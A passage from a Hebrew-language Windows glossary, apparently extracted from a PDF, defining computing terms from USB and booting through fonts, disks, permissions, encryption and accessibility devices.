‫ראה גם‪ :‬אפיק טורי אוניברסלי (‪)USB‬‬

‫אפיק טורי אוניברסלי )‪(USB‬‬

‫אפיק חיצוני התומך בהתקנה מסוג הכנס‪-‬הפעל‪ .‬באמצעות ‪ ,USB‬באפשרותך לחבר ולנתק‬
‫התקנים מבלי לכבות או להפעיל מחדש את המחשב‪ .‬ניתן להתחבר באמצעות יציאת ‪ USB‬יחידה‬
‫ל‪ 127 -‬התקנים היקפיים לכל היותר‪ ,‬כולל רמקולים‪ ,‬טלפונים‪ ,‬כונני תקליטורים‪ ,‬ג'ויסטיקים‪,‬‬
‫כונני קלטות‪ ,‬לוחות מקשים‪ ,‬סורקים ומצלמות‪ .‬יציאת ‪ USB‬ממוקמת בדרך כלל בחלקו האחורי‬
‫של המחשב ליד היציאה הטורית או היציאה המקבילית‪.‬‬

‫ראה גם‪ :‬אפיק; הכנס‪-‬הפעל; יציאה‬

‫אשף‬

‫כלי המנחה משתמש לאורך השלבים של תהליך או משימה על‪-‬ידי הפניה של סדרת שאלות או‬
‫הצגת אפשרויות‪ .‬לדוגמה‪ ,‬אשפים עשויים לעזור לך בהפעלת מסמך עיבוד תמלילים‪ ,‬בהתקנת‬
‫תוכנה או ביצירת קובץ מסד נתונים בפעם הראשונה‪.‬‬

‫אתחול‬

‫תהליך איפוס המחשב או הפעלתו‪ .‬בעת הפעלת המחשב (אתחול קר) או איפוסו (אתחול חם)‪,‬‬
‫הוא מפעיל את התוכנה הטוענת ומפעילה את מערכת ההפעלה של המחשב‪ ,‬המכינה אותו‬
‫לשימוש‪.‬‬

‫אתחול‬

‫בניהול הדיסקים‪ ,‬התהליך של זיהוי דיסק או אמצעי אחסון והקצאת מצב (לדוגמה‪ ,‬תקין) וסוג‬
‫(לדוגמה‪ ,‬דינאמי) עבורו‪.‬‬

‫ראה גם‪ :‬אמצעי אחסון בסיסי; אמצעי אחסון דינאמי; דיסק בסיסי; דיסק דינאמי‬

‫אתחול כפול‬

‫תצורת מחשב המאפשרת הפעלה של שתי מערכות הפעלה שונות‪.‬‬

‫ראה גם‪ :‬אתחול; אתחול מרובה; סביבת הפעלה‬

‫אתחול מחדש‬

‫הפעלה מחדש של מחשב על‪-‬ידי טעינה מחדש של מערכת ההפעלה‪ .‬דבר זה ניתן ליישום על‪-‬ידי‬
‫ביצוע אתחול קר‪ ,‬שהוא כיבוי המחשב והפעלתו מחדש‪ ,‬או אתחול חם‪ ,‬שהוא כיבוי המחשב על‪-‬‬
‫ידי הקשה על ‪ ,CTRL + ALT + DEL‬לחיצה על כיבוי ולאחר מכן לחיצה על הפעלה מחדש‪.‬‬

‫אתחול מרובה‬

‫תצורת מחשב בה פועלות שתי מערכת הפעלה או יותר‪.‬‬

‫ראה גם‪ :‬אתחול כפול; סביבת הפעלה‬

‫‪428‬‬
‫ב‬
‫בחירה‬

‫ציון בלוק של נתונים או טקסט על המסך על‪-‬ידי סימונו בדרך זו או אחרת‪ ,‬מתוך כוונה לבצע‬
‫עליו פעולות מסוימות‪.‬‬

‫ביטול טעינה‬

‫הוצאת קלטת או דיסק נשלפים מכונן‪.‬‬

‫ראה גם‪ :‬טעינה; ספריה‬

‫ביטול עגינה‬

‫ניתוק מחשב נישא או מחשב נייד אחר מתחנת עגינה‪.‬‬

‫ראה גם‪ :‬עגינה; עגינה חמה; תחנת עגינה‬

‫בינארי‬

‫מערכת מספרים בבסיס ‪ 2‬שבה הערכים מבוטאים כצירופים של שתי ספרות‪ 0 ,‬ו‪.1 -‬‬

‫בלוק הודעת שרת )‪(SMB‬‬

‫פרוטוקול שיתוף קובץ שנועד לאפשר למחשבים ברשת לבצע גישה שקופה לקבצים השוכנים‬
‫במערכות מרוחקות דרך מגוון של רשתות‪ .‬פרוטוקול ‪ SMB‬מגדיר סידרה של פקודות‬
‫המעבירות מידע בין מחשבים‪ .‬ב‪ SMB -‬נעשה שימוש בארבעה סוגי הודעות‪ :‬בקרת הפעלה‪,‬‬
‫קובץ‪ ,‬מדפסת והודעה‪.‬‬

‫בסיס‬

‫הרמה הגבוהה ביותר או העליונה בערכת מידע המאורגנת באופן הירארכי‪ .‬הבסיס הוא הנקודה‬
‫שממנה ערכות משנה נוספות מסתעפות ברצף לוגי הנע מהמוקד הרחב או הכללי אל נקודות מבט‬
‫צרות יותר‪.‬‬

‫בתים‬

‫יחידת נתונים המכילה בדרך כלל תו יחיד‪ ,‬כגון אות‪ ,‬ספרה או סימן פיסוק‪ .‬תווים בודדים‬
‫מסוימים עשויים לתפוס יותר מקום מאשר בית אחד‪.‬‬

‫ראה גם‪ :‬מגה‪-‬בית (‪ ;)MB‬סיבית (סיפרה בינארית)‬

‫ג‬
‫גודל זיכרון וירטואלי‬

‫במנהל המשימות‪ ,‬כמות הזיכרון הווירטואלי‪ ,‬או שטח הכתובות‪ ,‬הניתן לתהליך‪.‬‬

‫‪429‬‬
‫ראה גם‪ :‬זיכרון וירטואלי; מנהל המשימות‬

‫גוון‬

‫מיקומו של צבע לאורך קשת הצבעים‪ .‬לדוגמה‪ ,‬ירוק נמצא בין צהוב לכחול‪ .‬ניתן להגדיר תכונה‬
‫זו באמצעות 'תצוגה' ב'לוח הבקרה'‪.‬‬

‫ראה גם‪ :‬רוויה‬

‫גופן‬

‫עיצוב גרפי המוחל על אוסף של מספרים‪ ,‬סמלים ותווים‪ .‬גופן מתאר צורה מסוימת וכן תכונות‬
‫נוספות כגון גודל‪ ,‬מרווח ורוחב‪.‬‬

‫ראה גם‪ :‬גופני ‪ ;OpenType‬גופני ‪ ;PostScript‬גופני ‪ ;Type 1‬גופני מסך‬

‫גופן וקטורי‬

‫גופן שנוצר ממודל מתמטי‪ ,‬שבו כל תו מוגדר כקבוצת קווים הנמתחים בין נקודות‪ .‬ניתן להתאים‬
‫גופנים וקטוריים בצורה חלקה לכל גודל או יחס רוחב‪-‬גובה‪.‬‬

‫ראה גם‪ :‬גופן; גופן תווין‬

‫גופן מחסנית‬

‫גופן הכלול במחסנית ‪ Plug-in‬ומשמש להוספת גופנים למדפסות לייזר‪ ,‬מדפסות הזרקת דיו או‬
‫מדפסות סיכות מתקדמות‪ .‬גופני מחסנית נבדלים הן מגופנים פנימיים‪ ,‬הכלולים ב‪ROM -‬‬
‫במדפסת ותמיד זמינים‪ ,‬והן מגופנים הניתנים להורדה (רכים)‪ ,‬השוכנים בדיסק וניתנים לשליחה‬
‫למדפסת בעת הצורך‪.‬‬

‫ראה גם‪ :‬גופן; גופנים נטענים; מחסנית גופנים‬

‫גופן תווין‬

‫גופן שנוצר באמצעות סדרת נקודות המחוברות באמצעות קווים‪ .‬ניתן לשנות גופני תווין לכל‬
‫גודל והדפסתם מתבצעת על פי רוב בתווינים‪ .‬מדפסות סיכות מסוימות תומכות אף הן בגופני‬
‫תווין‪.‬‬

‫ראה גם‪ :‬גופן‬

‫גופני ‪OpenType‬‬

‫גופני מיתאר המצוירים באמצעות פקודות קווים ועיקולים ושניתן לשנות את גודלם ולסובבם‪.‬‬
‫גופני ‪ OpenType‬הינם ברורים וקריאים בכל הגדלים ובכל התקני הפלט הנתמכים על‪-‬ידי‬
‫‪ OpenType .Windows‬מהווה הרחבה של טכנולוגיית גופני ‪.TrueType‬‬

‫ראה גם‪ :‬גופן; גופני ‪TrueType‬‬

‫‪430‬‬
‫גופני ‪PostScript‬‬

‫גופנים המוגדרים בהתאם לכללי שפת תיאור העמוד (‪ PostScript )PDL‬ומיועדים להדפסה‬
‫במדפסת תואמת ‪ .PostScript‬כאשר מסמך המוצג בגופן מסך נשלח למדפסת ‪,PostScript‬‬
‫המדפסת משתמשת בגירסת ה‪ PostScript -‬אם הגופן קיים‪ .‬אם הגופן אינו קיים אך מותקנת‬
‫גירסה במחשב‪ ,‬גופן זה נטען אל המדפסת‪ .‬אם גופן ‪ PostScript‬אינו מותקן במדפסת ואינו‬
‫מותקן במחשב‪ ,‬גופן מפת הסיביות (גופן הסריקה) מתורגם ל‪ PostScript -‬והמדפסת יוצרת‬
‫טקסט באמצעות גופן מפת הסיביות‪ .‬גופני ‪ PostScript‬נבדלים מגופני מפת סיביות בחלקות‪,‬‬
‫בפירוט ובנאמנותם לתקני איכות שנקבעו בתעשיית הדפוס‪.‬‬

‫ראה גם‪ ;PostScript :‬גופן; גופני סריקה; גופנים נטענים; שפת תיאור עמוד (‪)PDL‬‬

‫גופני ‪TrueType‬‬

‫גופנים מדורגים שנוצרים לעיתים כגופני מפת סיביות או כגופנים נטענים‪ ,‬בהתאם ליכולות‬
‫המדפסת שברשותך‪ .‬גופני ‪ TrueType‬הם גופנים שאינם תלויים בהתקן ומאוחסנים כמיתארים‪.‬‬
‫ניתן להתאימם לכל גובה ולהדפיסם בדיוק כפי שהם מופיעים על המסך‪.‬‬

‫ראה גם‪ :‬גופן‬

‫גופני ‪Type 1‬‬

‫גופנים מדורגים שנועדו לעבודה עם התקני ‪.PostScript‬‬

‫ראה גם‪ ;PostScript :‬גופן‬

‫גופני התקן‬

‫גופנים השוכנים במדפסת‪ .‬הם עשויים להיות מוכללים במדפסת עצמה או מצורפים במחסנית‬
‫גופנים או כרטיס גופנים‪.‬‬

‫ראה גם‪ :‬גופן; גופני מדפסת; מחסנית גופנים‬

‫גופני מדפסת‬

‫גופנים השוכנים במדפסת או מיועדים עבור מדפסת‪ .‬גופן מדפסת‪ ,‬הממוקם בדרך כלל בזיכרון‬
‫לקריאה בלבד (‪ )ROM‬של המדפסת‪ ,‬עשוי להיות פנימי‪ ,‬להתקבל בהורדה או להימצא במחסנית‬
‫גופן‪.‬‬

‫ראה גם‪ :‬גופן; גופני התקן; גופנים נטענים; מחסנית גופנים‬

‫גופני מסך‬

‫גופן שנועד לתצוגה בצג של מחשב‪ .‬לגופני מסך נלווים לעיתים קרובות גופני ‪ PostScript‬לשם‬
‫הדפסה במדפסות התואמות ל‪.PostScript -‬‬

‫ראה גם‪ ;PostScript :‬גופן‬

‫‪431‬‬
‫גופני סריקה‬

‫גופנים המאוחסנים כמפות סיביות‪ .‬גופני סריקה מעוצבים בגודל וברזולוציה ספציפיים עבור‬
‫מדפסת ספציפית ולא ניתן לשנות את קנה המידה שלהם או לסובב אותם‪ .‬אם מדפסת אינה‬
‫תומכת בגופני סריקה‪ ,‬היא לא תדפיס אותם‪ .‬חמשת גופני הסריקה הם ‪MS Sans ,Courier‬‬
‫‪ Small ,MS Serif ,Serif‬ו‪ .Symbol -‬גופני סריקה קרויים גם גופני מפת סיביות‪.‬‬

‫ראה גם‪ :‬גופן; מדפסת‬

‫גופנים נטענים‬

‫ערכת תווים המאוחסנת בדיסק ונשלחת (נטענת) לזיכרון מדפסת כאשר יש בה צורך לשם‬
‫הדפסת מסמך‪ .‬גופנים נטענים משמשים בדרך כלל במדפסות לייזר ומדפסות דפים אחרות‪ ,‬אם‬
‫כי גם מדפסות סיכות רבות עשויות לקבל כמה מהם‪ .‬גופנים נטענים מכונים גם גופנים רכים‪.‬‬

‫ראה גם‪ :‬גופן; גופני ‪ ;PostScript‬מחסנית גופנים‬

‫ג'יגה‪-‬בית )‪(GB‬‬

‫‪ 1,024‬מגה‪-‬בתים‪ ,‬אך לעיתים מפורש כמיליארד בתים לערך‪.‬‬

‫ראה גם‪ :‬מגה‪-‬בית (‪ ;)MB‬קילו‪-‬בית (‪)KB‬‬

‫גרירה‬

‫הזזת פריט על המסך על‪-‬ידי בחירת הפריט‪ ,‬לחיצה על לחצן העכבר והחזקתו לחוץ תוך כדי‬
‫הזזת העכבר‪ .‬לדוגמה‪ ,‬באפשרותך להזיז חלון למיקום אחר על המסך על‪-‬ידי גרירת פס הכותרת‬
‫שלו‪.‬‬

‫ד‬
‫דחיסת חומרה‬

‫תכונה הזמינה בהתקני קלטות מסוימים המבצעת דחיסה אוטומטית של הנתונים המאוחסנים‬
‫בהם‪ .‬זוהי בדרך כלל אפשרות המופעלת או מבוטלת בתוכנית גיבוי‪.‬‬

‫דחיסת מודם‬

‫טכניקה המשמשת להפחתת מספר התווים המשודרים ללא אובדן תוכן הנתונים‪ .‬המודם המשדר‬
‫דוחס את הנתונים והמחשב או המודם המקבל מבטל את דחיסת הנתונים בחזרה למצבם המקורי‪.‬‬

‫ראה גם‪ :‬מודם (‪ = modulator/demodulator‬מאפנן‪/‬ממצה אפנון)‬

‫דיו‬

‫כאשר אפשרות זו מסומנת‪ ,‬ניתן להזין טקסט בצורת כתב יד‪ .‬במקום להמיר את הטקסט הכתוב‬
‫בכתב יד לטקסט מודפס‪ ,‬הטקסט עובר המרה לאובייקט ומוצג בדיוק כפי שכתבת אותו‪ .‬לדוגמה‪:‬‬

‫‪.‬‬

‫‪432‬‬
‫דיסק‬

‫התקן אחסון המחובר למחשב‪.‬‬

‫ראה גם‪ :‬דיסק בסיסי; דיסק דינאמי‬

‫דיסק בסיסי‬

‫דיסק פיזי הניתן לגישה מ‪ MS-DOS -‬וכל מערכות ההפעלה המבוססות על ‪.Windows‬‬
‫דיסקים בסיסיים יכולים להכיל עד ארבע מחיצות ראשיות או שלוש מחיצות ראשיות ומחיצה‬
‫מורחבת בעלת כוננים לוגיים מרובים‪ .‬אם ברצונך ליצור מחיצות המתפרסות על מספר דיסקים‪,‬‬
‫עליך להמיר תחילה את הדיסק הבסיסי לדיסק דינאמי באמצעות ניהול דיסק או כלי השירות‬
‫‪ Diskpart.exe‬של שורת הפקודה‪.‬‬

‫ראה גם‪ ;)Microsoft Disk Operating System( MS-DOS :‬דיסק דינאמי; כונן לוגי;‬
‫מחיצה מורחבת; מחיצה ראשית‬

‫דיסק דינאמי‬

‫דיסק פיזי שאליו ניתן לגשת רק באמצעות ‪ Windows 2000‬ו‪ .Windows XP -‬דיסקים‬
‫דינאמיים מספקים תכונות שדיסקים בסיסיים אינם מספקים‪ ,‬כגון תמיכה באמצעי אחסון‬
‫המתפרסים על פני דיסקים מרובים‪ .‬דיסקים דינאמיים עושים שימוש במסד נתונים נסתר לשם‬
‫מעקב אחר מידע אודות אמצעי אחסון דינאמיים בדיסק ודיסקים דינאמיים אחרים במחשב‪.‬‬
‫באפשרותך להמיר דיסקים בסיסיים לדינאמיים באמצעות יישום ה‪" Snap-in -‬ניהול הדיסק" או‬
‫באמצעות כלי השירות ‪ DiskPart‬בשורת הפקודה‪ .‬בעת המרת דיסק בסיסי לדינאמי‪ ,‬כל אמצעי‬
‫האחסון הבסיסיים הקיימים הופכים לאמצעי אחסון דינאמיים‪.‬‬

‫ראה גם‪ :‬אמצעי אחסון; אמצעי אחסון בסיסי; אמצעי אחסון דינאמי; אמצעי אחסון פעיל; דיסק‬
‫בסיסי‬

‫דיסק וידאו דיגיטלי )‪(DVD‬‬

‫סוג של טכנולוגיית אחסון על‪-‬גבי דיסק אופטי‪ .‬דיסק וידאו דיגיטלי (‪ )DVD‬נראה כמו‬
‫תקליטור‪ ,‬אך ניתן לאחסן בו כמות נתונים גדולה יותר‪ .‬דיסקים של ‪ DVD‬משמשים בדרך כלל‬
‫לאחסון סרטים באורך מלא ותוכן מולטימדיה אחר המצריך כמויות גדולות של שטח אחסון‪.‬‬

‫דיסק מערכת‬

‫דיסק המכיל את קבצי המערכת של ‪ MS-DOS‬הנחוצים להפעלת ‪.MS-DOS‬‬

‫ראה גם‪)Microsoft Disk Operating System( MS-DOS :‬‬

‫דיסק קשיח‬

‫התקן‪ ,‬המכונה גם כונן דיסק קשיח‪ ,‬המכיל דיסקות קשיחות מצופות בחומר שבו ניתן לרשום‬
‫באופן מגנטי נתונים באמצעות ראשי כתיבה‪/‬קריאה‪ .‬הדיסק הקשיח נמצא בקופסה אטומה המגנה‬
‫עליו ומאפשרת לראש לרחף בגובה ‪ 10-25‬מיליונית האינץ' מעל למשטח הדיסקה‪ .‬ניתן לאחסן‬
‫נתונים ולגשת אליהם במהירות גבוהה הרבה יותר מאשר בתקליטון‪.‬‬

‫‪433‬‬
‫דיסק ראשי‬

‫הכונן הקשיח המכיל את מחיצות המערכת והאתחול המשמשות להפעלת ‪.Windows‬‬

‫ראה גם‪ :‬מחיצת אתחול; מחיצת מערכת‬

‫דפדפן‬

‫תוכנה המפענחת את סימוני הקבצים ב‪ ,HTML -‬מעצבת אותם כדפי אינטרנט ומציגה אותם‬
‫למשתמש‪ .‬בדפדפנים מסוימים קיימת אפשרות לשלוח ולקבל דואר אלקטרוני‪ ,‬לקרוא הודעות‬
‫בקבוצות דיון‪ ,‬להשמיע קבצי קול או להפעיל קבצי וידאו המוטבעים במסמכי אינטרנט‪.‬‬

‫ראה גם‪World Wide Web :‬‬

‫ה‬
‫הגדלה‬

‫הגדלת חלון לגודל המירבי שלו על‪-‬ידי לחיצה על לחצן הגדל (בצד שמאל של פס הכותרת)‪ ,‬או‬
‫על‪-‬ידי הקשת ‪+ALT‬מקש רווח ולאחר מכן הקשה על ‪.X‬‬

‫ראה גם‪ :‬מזעור; פס כותרת‬

‫הגדרות תקשורת‬

‫פרמטרים של הפעלה‪ ,‬כגון מספר סיביות בשניה (‪ )bps‬וסוג מודם‪ ,‬החלות על יציאות טוריות‬
‫במחשב‪.‬‬

‫ראה גם‪ :‬יציאה טורית; מודם (‪ = modulator/demodulator‬מאפנן‪/‬ממצה אפנון); סיביות‬


‫בשניה (‪)bps‬‬

‫הדמיית ‪(LANE) LAN‬‬

‫ערכת פרוטוקולים המאפשרת לשירותים קיימים של רשת ‪ LAN‬מסוג ‪ Ethernet‬ו‪Token -‬‬


‫‪ Ring‬להיות זמינים גם ברשת ‪ LANE .ATM‬מאפשרת קישוריות בין תחנות המחוברות ל‪-‬‬
‫‪ LAN‬ול‪.ATM -‬‬

‫ראה גם‪ :‬פרוטוקול; רשת תקשורת מקומית (‪)LAN‬‬

‫הדפסה ברקע‬

‫תהליך בשרת שבו מסמכים להדפסה מאוחסנים בדיסק עד שמדפסת מתפנה ומוכנה לעבדם‪.‬‬
‫מנגנון הדפסה ברקע מקבל כל מסמך מכל לקוח‪ ,‬מאחסן אותו ולאחר מכן שולח אותו למדפסת‬
‫כאשר המדפסת מוכנה‪.‬‬

‫ראה גם‪ :‬מנגנון הדפסה ברקע (‪)print spooler‬‬

‫‪434‬‬
‫הודעת ‪Trap‬‬

‫ב‪ ,)SNMP( Simple Network Management Protocol -‬הודעה שנשלחת על‪-‬ידי סוכן‬
‫למערכת ניהול ומציינת שאירוע התרחש במחשב המארח המפעיל את הסוכן‪.‬‬

‫ראה גם‪ :‬מחשב מארח‬

‫הודעת טרנזקציה‬

‫עבור ניהול תורי הודעות‪ ,‬הודעה שניתן לשלוח או לקבל אותה רק מתוך טרנזקציה‪ .‬הודעה מסוג‬
‫זה מוחזרת למצבה הקודם כאשר טרנזקציה מופסקת בצורה פתאומית‪ .‬הודעת טרנזקציה מוסרת‬
‫מתור רק כאשר הטרנזקציה מתבצעת; בכל מקרה אחר‪ ,‬היא נותרת בתור ולאחר מכן ניתן‬
‫לקרוא אותה במהלך טרנזקציה אחרת‪.‬‬

‫ראה גם‪ :‬טרנזקציה; ניהול תורי הודעות; תור‬

‫הורדה‬

‫העברת עותק של קובץ ממחשב מרוחק אל המחשב המבקש באמצעות מודם או רשת‪.‬‬

‫היפר‪-‬קישור‬

‫טקסט צבעוני המסומן בקו תחתון או פריט גרפיקה שעליו באפשרותך ללחוץ כדי לעבור אל‬
‫קובץ‪ ,‬מיקום בקובץ‪ ,‬דף ‪ HTML‬ב‪ World Wide Web -‬או דף ‪ HTML‬ברשת אינטרא‪-‬נט‪.‬‬
‫היפר‪-‬קישורים יכולים גם להוביל לקבוצות דיון ולאתרי ‪ Telnet ,Gopher‬ו‪.FTP -‬‬

‫בתיקיות ‪ ,Windows‬היפר‪-‬קישורים הם קישורי טקסט המופיעים בחלונית הימנית של תיקיה‪.‬‬


‫באפשרותך ללחוץ על קישורים אלו לשם ביצוע משימות‪ ,‬כגון העברה או העתקה של קובץ‪ ,‬או‬
‫כדי לעבור למקומות אחרים במחשב שלך‪ ,‬כגון לתיקיה המסמכים שלי או ללוח הבקרה‪.‬‬

‫הירארכיה של אישורים‬

‫מודל של אמון עבור אישורים שבו נוצרים נתיבי אישורים באמצעות יצירת יחסי הורה‪-‬צאצא‬
‫בין רשויות אישורים‪.‬‬

‫ראה גם‪ :‬רשות אישורים (‪)CA‬‬

‫הכנס‪-‬הפעל‬

‫מערכת מפרטים שפותחה על‪-‬ידי ‪ Intel‬ומאפשרת למחשב לזהות ולהגדיר התקן אוטומטית‬
‫ולהתקין את מנהלי ההתקן המתאימים‪.‬‬

‫ראה גם‪ :‬אפיק טורי אוניברסלי (‪ ;)USB‬התקן שאינו מסוג הכנס‪-‬הפעל‬

‫המסמכים שלי‬

‫תיקיה המספקת מקום נוח לאחסן בו מסמכים‪ ,‬גרפיקה או קבצים אחרים שברצונך לקבל אליהם‬
‫גישה מהירה‪ .‬בעת שמירת קובץ בתוכנית כגון כתבן או צייר‪ ,‬הקובץ נשמר אוטומטית בתוך‬
‫המסמכים שלי‪ ,‬אלא אם כן בחרת בתיקיה שונה‪.‬‬

‫‪435‬‬
‫ראה גם‪ :‬תיקיית הבית‬

‫המתנה‬

‫מצב שבו המחשב שלך צורך פחות כוח חשמלי כאשר הוא לא פעיל‪ ,‬אך נותר זמין לשימוש‬
‫מיידי‪ .‬כאשר המחשב שלך נמצא בהמתנה‪ ,‬מידע בזיכרון מחשב אינו נשמר בדיסק הקשיח‪.‬‬
‫במקרה של הפסקת חשמל‪ ,‬המידע בזיכרון אובד‪.‬‬

‫המתנה לשיחה‬

‫אות טלפוניה לכך שהיישום חיבורי רשת העביר את המודם למצב האזנה וממתין לשיחות‬
‫נכנסות‪.‬‬

‫ראה גם‪ :‬מודם (‪ = modulator/demodulator‬מאפנן‪/‬ממצה אפנון)‬

‫הסרת התקנה‬

‫בהתייחסות לתוכנה‪ ,‬פעולת ההסרה של קבצים ותיקיות של תוכניות מהדיסק הקשיח והסרת‬
‫נתונים הקשורים בהם מהרישום כך שהתוכנה חדלה להיות זמינה‪.‬‬

‫בהתייחסות להתקן‪ ,‬פעולת ההסרה של מנהלי ההתקנים התואמים מהדיסק הקשיח וההסרה‬
‫הפיזית של ההתקן מהמחשב‪.‬‬

‫ראה גם‪ :‬התקנה; מנהל התקן‬

‫העברת קבצים באמצעות אור אינפרא‪-‬אדום‬

‫העברת קבצים אלחוטית בין מחשב למחשב או התקן אחר באמצעות אור אינפרא‪-‬אדום‪.‬‬

‫ראה גם‪ :‬אינפרא‪-‬אדום (‪)IR‬‬

‫הפעלה מהירה‬

‫סרגל כלים הניתן להתאמה אישית‪ ,‬המאפשר לך להציג את שולחן העבודה של ‪ Windows‬או‬
‫להפעיל תוכנית (לדוגמה‪ )Internet Explorer ,‬בלחיצה בודדת‪ .‬באפשרותך להוסיף לחצנים‬
‫לשם הפעלת התוכניות המועדפות עליך ממיקום ההפעלה המהירה בשורת המשימות‪.‬‬

‫הפרש תקלות קובץ החלפה‬

‫במנהל המשימות‪ ,‬השינוי במספר תקלות קובץ ההחלפה מאז העדכון האחרון‪.‬‬

‫ראה גם‪ :‬מנהל המשימות‬

‫הצגת צליל‬

‫תכונה המורה לתוכניות שבדרך כלל מעבירות מידע רק באמצעות צליל לספק מידע גם באופן‬
‫חזותי‪ ,‬לדוגמה על‪-‬ידי הצגת כיתוב או סמלים אינפורמטיביים‪.‬‬

‫‪436‬‬
‫הצפנה‬

‫תהליך ההסוואה של הודעה או של נתונים באופן שיסתיר את תוכנם‪.‬‬

‫ראה גם‪ :‬הצפנה סימטרית‬

‫הצפנה סימטרית‬

‫אלגוריתם הצפנה המצריך שימוש באותו מפתח סודי הן עבור הצפנה והן עבור פענוח‪ .‬בשל‬
‫מהירותה‪ ,‬נהוג להשתמש בהצפנה סימטרית כאשר שולח הודעה נדרש להצפין כמויות גדולות‬
‫של נתונים‪ .‬הצפנה סימטרית קרויה גם הצפנה באמצעות מפתח סודי‪.‬‬

‫הרשאה‬

‫כלל המשויך לאובייקט שנועד לקבוע אילו משתמשים רשאים לקבל גישה לאובייקט ובאיזה‬
‫אופן‪ .‬הרשאות מוענקות או נשללות על‪-‬ידי הבעלים של האובייקט‪.‬‬

‫ראה גם‪ :‬אובייקט; הרשאות גישה מיוחדת; הרשאות מדפסת; הרשאות תיקיה משותפת‬

‫הרשאה‬

‫זכות משתמש לבצע משימה ספציפית‪ ,‬בדרך כלל משימה המשפיעה על מערכת מחשבים שלמה‬
‫ולא על אובייקט מסוים‪ .‬הרשאות מוקצות על‪-‬ידי מנהלים למשתמשים בודדים או לקבוצות של‬
‫משתמשים כחלק מהגדרות האבטחה עבור המחשב‪.‬‬

‫הרשאות‬

‫כלל המשויך לאובייקט שנועד לקבוע אילו משתמשים רשאים לקבל גישה לאובייקט ובאיזה‬
‫אופן‪ .‬הרשאות מוענקות או נשללות על‪-‬ידי הבעלים של האובייקט‪.‬‬

‫הרשאות גישה מיוחדת‬

‫באמצעי אחסון של ‪ ,NTFS‬קבוצת הרשאות מותאמת אישית‪ .‬באפשרותך להתאים אישית‬


‫הרשאות בקבצים ובספריות על‪-‬ידי בחירת הרכיבים הנפרדים של קבוצות ההרשאות הרגילות‪.‬‬

‫ראה גם‪ :‬אמצעי אחסון; הרשאה; מערכת קבצים של ‪NTFS‬‬

‫הרשאות מדפסת‬

‫הרשאות המציינות את סוג הגישה למדפסת שיש למשתמש או לקבוצה‪ .‬הרשאות ההדפסה הן‬
‫הדפסה‪ ,‬ניהול מדפסות וניהול מסמכים‪.‬‬

‫ראה גם‪ :‬הרשאה‬

‫הרשאות תיקיה משותפת‬

‫הרשאות המגבילות את הזמינות של משאב משותף ברשת למשתמשים מסוימים בלבד‪.‬‬

‫ראה גם‪ :‬הרשאה‬

‫‪437‬‬
‫השהיה לפני חזרה‬

‫השהיית משך הזמן שחולף לפני שתו מתחיל לחזור בעת החזקת מקש לחוץ‪.‬‬

‫התחברות יחידה‬

‫תהליך המאפשר למשתמש עם חשבון קבוצת מחשבים להיכנס לרשת פעם אחת‪ ,‬תוך שימוש‬
‫בסיסמה או בכרטיס חכם‪ ,‬ולקבל גישה לכל מחשב בקבוצת המחשבים‪.‬‬

‫ראה גם‪ :‬כרטיס חכם; קבוצת מחשבים‬

‫התקן‬

‫כל רכיב ציוד שניתן לחבר לרשת או למחשב‪ ,‬כגון מחשב‪ ,‬מדפסת‪ ,‬ג'ויסטיק‪ ,‬מתאם או כרטיס‬
‫מודם‪ ,‬או כל ציוד היקפי אחר‪ .‬התקנים מצריכים בדרך כלל מנהל התקן כדי לפעול ב‪-‬‬
‫‪.Windows‬‬

‫ראה גם‪ :‬מנהל התקן; ציוד היקפי‬

‫התקן ‪PCMCIA‬‬

‫התקן נשלף‪ ,‬בערך בגודל כרטיס אשראי‪ ,‬שניתן להכניסו לחריץ ‪ PCMCIA‬במחשב נישא‪.‬‬
‫התקני ‪ PCMCIA‬עשויים לכלול התקני מודם‪ ,‬מתאמי רשת וכוננים קשיחים‪.‬‬

‫באפשרותך לחבר כרטיסי ‪ PCMCIA‬מסוימים למחשב שלך או לנתקם ממנו מבלי להפעילו‬
‫מחדש‪ .‬עם זאת‪ ,‬לפני הסרת כרטיס ה‪ ,PCMCIA -‬עליך לדווח ל‪ Windows -‬באמצעות אשף‬
‫הוספת החומרה שאתה עומד לבצע זאת‪ Windows .‬ידווח לך לאחר מכן מתי ניתן להסיר את‬
‫ההתקן‪.‬‬

‫התקן אינפרא‪-‬אדום‬

‫מחשב או ציוד היקפי למחשב כגון מדפסת‪ ,‬בעל אפשרות לקיים תקשורת באמצעות אור‬
‫אינפרא‪-‬אדום‪.‬‬

‫ראה גם‪ :‬אינפרא‪-‬אדום (‪)IR‬‬

‫התקן מתג יחיד‬

‫טכנולוגיית מחשב מסייעת עבור אנשים עם מגבלות תנועה‪ .‬התקן מתג יחיד מאפשר למשתמשים‬
‫לפעול באינטראקציה עם מחשב באמצעות תנועות גוף קלות‪.‬‬

‫התקן נשיפה‬

‫טכנולוגיית מחשב מסייעת עבור אנשים בעלי מגבלות תנועה‪ .‬התקן נשיפה הוא חלופה נישאת‬
‫על הראש לשימוש בעכבר‪ .‬ההתקן מאפשר למשתמש להזיז את מצביע העכבר מבלי להשתמש‬
‫בידיו על‪-‬ידי נשיפת אוויר לתוך שפופרת‪.‬‬

‫‪438‬‬
‫התקן קלט בכתב יד‬

‫כלי‪ ,‬כגון עט ולוח דיגיטליים‪ ,‬המשמש להזנת טקסט בכתיבה במקום בהקלדה‪ .‬בנוסף ללוחות‬
‫כתיבה‪ ,‬באפשרותך להשתמש בלוחות ציור תלת מימדיים או לוחות שרטוט בעזרת מחשב (‬
‫‪ )CAD‬או לוח מחשב‪ .‬באפשרותך לכתוב גם על‪-‬ידי הזזת העכבר על‪-‬גבי משטח העכבר‪.‬‬

‫התקן קלט טורי‬

‫מאפשר לך לחבר התקן קלט חלופי (קרוי גם התקן תקשורת מרחיב) ליציאה הטורית של‬
‫המחשב‪ .‬תכונה זו נועדה עבור אנשים שאין ביכולתם להשתמש בלוח המקשים והעכבר הרגילים‬
‫של המחשב‪.‬‬

‫התקן קלט שמע‬

‫התקן קלט שמע מקליט קלט מוסיקה וקול למחשב שלך‪ .‬דוגמאות להתקני קלט שמע הן נגני‬
‫תקליטורים ומיקרופונים‪.‬‬

‫התקן שאינו מסוג הכנס‪-‬הפעל‬

‫התקן‪ ,‬כגון מדפסת‪ ,‬מודם או בקר משחקים‪ ,‬המצריך קביעת תצורה ידנית של הגדרות חומרה‬
‫לפני השימוש בו‪ .‬התקנים שאינם מסוג הכנס‪-‬הפעל הולכים ומתמעטים מאחר שיצרנים מפסיקים‬
